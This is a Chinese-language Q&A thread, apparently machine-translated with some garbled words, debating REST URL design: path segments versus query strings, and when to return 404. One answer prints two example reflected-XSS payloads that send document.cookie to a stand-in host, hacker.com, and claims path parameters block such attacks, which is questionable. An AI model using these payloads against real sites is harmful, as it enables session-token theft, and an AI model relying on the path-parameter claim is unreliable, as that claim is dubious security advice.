在REST资源url中查询string
今天我和一位同事讨论了如何在REST URL中使用查询string。 以这两个例子:
1. http://localhost/findbyproductcode/4xxheua 2. http://localhost/findbyproductcode?productcode=4xxheua
我的立场是URL的devise应该如例1.这是更清洁,我认为是正确的REST。 在我看来,如果产品代码不存在,则返回示例1中的404错误是完全正确的,而使用示例2返回404将是错误的,因为页面应该存在。 他的立场是并不重要,他们都做同样的事情。
由于我们都没有find具体的证据(我承认我的search不是很广泛),所以我想知道其他人对此的看法。
在典型的REST API中,示例#1更正确。 资源以URI表示,#1表示更多。 产品代码未find时返回404绝对是正确的行为。 话虽如此,我稍微修改#1以更像这样expression:
http://localhost/products/code/4xheaua
看看其他精心devise的REST API – 例如,看看StackOverflow。 你有:
stackoverflow.com/questions stackoverflow.com/questions/tagged/rest stackoverflow.com/questions/3821663
这些都是获得“问题”的不同方式。
从客户的angular度来看,两个URI之间没有区别。 客户端的URI是不透明的。 使用更干净的映射到您的服务器端基础设施。
就REST而言,绝对没有区别。 我相信为什么这么多人认为它只是识别资源的path组件是因为RFC 2396中的以下行
查询组件是由资源解释的一串信息。
这条线后来在RFC 3986中被更改为:
查询组件包含非分层数据,与path组件(第3.3节)中的数据一起用于标识资源
恕我直言,这意味着查询string和path段在识别资源时在function上是等同的。
更新以解决史蒂夫的评论。
原谅我,如果我反对形容词“更清洁”。 这太主观了。 尽pipe我错过了这个问题的重要部分,但你的确有一个观点。
我认为是否返回404的答案取决于正在检索的资源是什么。 它是search结果的表示,还是表示产品? 要知道这一点,你真的需要看看导致我们的URL的链接关系。
如果URL应该返回一个Product表示,那么如果代码不存在,应该返回一个404。 如果URL返回一个search结果,那么它不应该返回404。
最终的结果是,URL看起来不是决定因素。 话虽如此,查询string用于返回search结果是惯例,所以当您不想返回404s时,使用该types的URL更为直观。
GET有两种用例
- 获取唯一标识的资源
- 根据给定的标准search资源
使用案例1示例:
/产品/ 4xxheua
获取唯一标识的产品,如果找不到,则返回404。
使用案例2示例:
/产品?大小=大和的color = red
search产品,返回匹配产品列表(0到多个)。
如果我们看一下Google Maps API,我们可以看到他们使用查询string进行search。
例如http://maps.googleapis.com/maps/api/geocode/json?address=los+angeles,+ca&sensor=false
所以这两种风格对于自己的用例都是有效的。
IMO的path组件应该始终说明你想要检索的内容。 像http:// localhost / findbyproductcode这样的URL只能说我想通过产品代码检索某些东西,但究竟是什么?
所以你用http:// localhost / users检索http:// localhost / contacts和users的联系人 。 查询string仅用于基于资源属性检索这样一个列表的一个子集。 唯一的例外是当这个子集减less到基于主键的一个logging时,那么你使用类似http:// localhost / contact / [primary_key]的东西。
这是我的方法,你的里程可能会有所不同:)
这两个URI的结尾RESTfully不是很重要。
然而,“findbyproductcode”部分当然可以更宁静。 为什么不只是http:// localhost / product / 4xxheau ?
在我有限的经验中,如果你有一个唯一的标识符,那么它将看起来很干净,像… / product / {id}一样构造URI。但是,如果产品代码不是唯一的,那么我可能更像#2那样devise它。
但是,正如Darrel所说,客户端不应该关心URI的外观。
查询string在许多实际意义上是不可避免的。考虑如果search允许多个(可选的)字段全部被指定,会发生什么。 在第一种forms中,他们在层次结构中的位置将不得不被固定和填充。
想象一下,用这种格式编码一个通用的SQL“where子句”。然而作为一个查询string,它非常简单。
这个问题被认为是更清洁的方法。 但我想把重点放在一个不同的方面,称为安全。 当我开始密集的应用程序安全性时,我发现通过使用PathParams
( PathParams
1)而不是QueryParams
(方法2)可以成功阻止reflection的XSS攻击。
(当然,reflectionXSS攻击的先决条件是恶意用户input在html源代码中被reflection回客户端,不幸的是有些应用程序会这样做,这就是为什么PathParams
可以阻止XSS攻击)
之所以这样做,是因为XSS有效载荷与PathParams
相结合将导致一个未知的,未定义的URLpath,这是由于有效载荷本身的斜线造成的。
http://victim.com/findbyproductcode/<script>location.href='http://hacker.com?sessionToken='+document.cookie;</script>**
而这种攻击将通过使用QueryParam
成功!
http://localhost/findbyproductcode?productcode=<script>location.href='http://hacker.com?sessionToken='+document.cookie;</script>
从哲学上讲,网页不“存在”。 当你把书或文件放在你的书架上时,他们就呆在那里。 他们在这个架子上有一些独立的存在。 但是,只有在某个打开的计算机上托pipe并能够按需提供的页面,才会存在一个页面。 页面当然可以随时生成,所以在请求之前不需要特别的存在。
现在从服务器的angular度思考一下。 让我们假设它是正确configuration的Apache —不是一个只将所有请求映射到文件系统的单线python服务器。 那么URL中指定的特定path可能与文件系统中特定文件的位置无关。 所以,再一次,一个页面没有任何明确的“存在”。 也许你要求http://some.url/products/intel.html
,你得到一个页面; 那么你请求http://some.url/products/bigmac.html
,你什么都看不到。 这并不意味着有一个文件,而不是其他文件。 您可能没有访问其他文件的权限,所以服务器返回404,或者bigmac.html
可能是从远程Mc'Donalds服务器提供的,暂时closures。
我想解释的是, 404
只是一个数字。 没有什么特别的:它可能是40404
或-2349.23847
,我们刚刚同意使用404
。 这意味着服务器在那里,它与你沟通,它可能明白你想要什么,并没有什么可以给你的。 如果您认为在服务器决定不出于任何原因而提供文件的情况下为http://some.url/products/bigmac.html
返回404
是适当的,那么您可能同意返回404
用于http://some.url/products?id=bigmac
。
现在,如果您希望为使用浏览器的用户尝试手动修改url,可以将其redirect到包含所有产品列表和一些searchfunction的页面,而不仅仅是向他们提供404
或你可以给404
代码和所有产品的链接。 但是,您可以使用http://some.url/products/bigmac.html
执行相同的http://some.url/products/bigmac.html
:自动redirect到包含所有产品的页面。
通过REST客户端,URI结构并不重要,因为它遵循带有语义注释的链接,并且永远不会分析URI。
通过编写路由逻辑和链接生成逻辑的开发人员,可能想通过检查URL来了解日志,URI结构的确很重要。 通过REST,我们将URI映射到资源,而不是映射到操作 – 调用论文/统一接口/资源标识 。
所以这两个URI结构可能都是有缺陷的,因为它们包含当前格式的动词。
1. /findbyproductcode/4xxheua
2. /findbyproductcode?productcode=4xxheua
您可以通过这种方式从URI中删除find
:
1. /products/code:4xxheua
2. /products?code="4xxheua"
从REST的angular度来看,你select哪一个并不重要。
您可以定义自己的命名约定,例如:“通过使用唯一标识符将集合减less为单个资源,唯一标识符必须始终是path的一部分,而不是查询”。 这与URI标准所说的相同:path是分层的,查询是非分层的。 所以我会使用/products/code:4xxheua
。
我认为它的方式,URIpath定义资源,而可选的查询string提供用户定义的信息。 所以
https://domain.com/products/42
识别特定的产品
https://domain.com/products?price=under+5
可能会search$ 5以下的产品。
我不同意那些使用querystrings来标识资源的人与REST是一致的。 REST的很大一部分是创build一个模仿静态分层文件系统的API(不需要在后端需要这样的系统) – 这使得直观的语义资源标识符成为可能。 Querystrings打破了这个层次。 例如,手表是具有附件的附件。 在REST风格很清楚什么
https://domain.com/accessories/watches
和
https://domain.com/watches/accessories
每个指的是。 用querystrings,
https://domain.com?product=watches&category=accessories
不是很清楚。
至less,REST风格比querystrings要好,因为它需要大约一半的信息,因为参数的强sorting允许我们排列参数名称。